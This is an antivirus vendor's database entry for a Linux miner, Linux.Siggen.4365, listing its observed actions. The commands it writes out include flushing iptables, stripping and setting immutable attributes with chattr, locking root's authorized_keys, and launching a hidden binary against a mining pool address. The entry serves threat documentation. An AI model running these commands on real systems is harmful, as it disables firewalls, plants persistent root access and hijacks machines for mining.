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Linux.Siggen.4365

Added to the Dr.Web virus database: 2022-01-28

Virus description added:

Technical Information

Malicious functions:
Gets access to SSH keys
  • /root/.ssh/authorized_keys
Modifies firewall settings:
  • iptables -F
  • iptables --flush
Launches processes:
  • /bin/bash <SAMPLE_FULL_PATH> -c exec '<SAMPLE_FULL_PATH>' \"$@\" <SAMPLE_FULL_PATH>
  • <SAMPLE_FULL_PATH>
  • /bin/bash <SAMPLE_FULL_PATH> -c
  • openssl rand -hex 5
  • touch /usr/local/share/.logfile
  • chattr -i -a -j -t -d -u /usr
  • chattr -i -a -j -t -d -u /usr/bin
  • chattr -i -a -j -t -d -u /usr/local
  • chattr -i -a -j -t -d -u /usr/local/share
  • chattr -i -a -j -t -d -u /usr/local/share/.logfile
  • chmod +x /usr/local/share/.logfile
  • id -u
  • chattr -i -a -j -t -d -u /root
  • mkdir /root/.ssh
  • chmod 600 /root/.ssh/authorized_keys
  • chattr +i /root/.ssh/authorized_keys
  • cp /usr/sbin/losbin2 /usr/bin/0f8bef4ea0
  • /usr/bin/0f8bef4ea0 -log 0 -pool 75.2.94.11:1588 -pool2 75.2.94.11:6778 -wal series.x/nice@gmail.com
  • sleep 3
  • rm -rf /usr/bin/0f8bef4ea0
Performs operations with the file system:
Modifies file access rights:
  • /root/.rnd
  • /usr/local/share/.logfile
  • /root/.ssh/authorized_keys
Creates folders:
  • /root/.ssh
Creates or modifies files:
  • /root/.rnd
  • /usr/local/share/.logfile
  • /etc/resolv.conf
Deletes files:
  • /usr/bin/0f8bef4ea0
Other:
Collects RAM information

Curing recommendations


Linux

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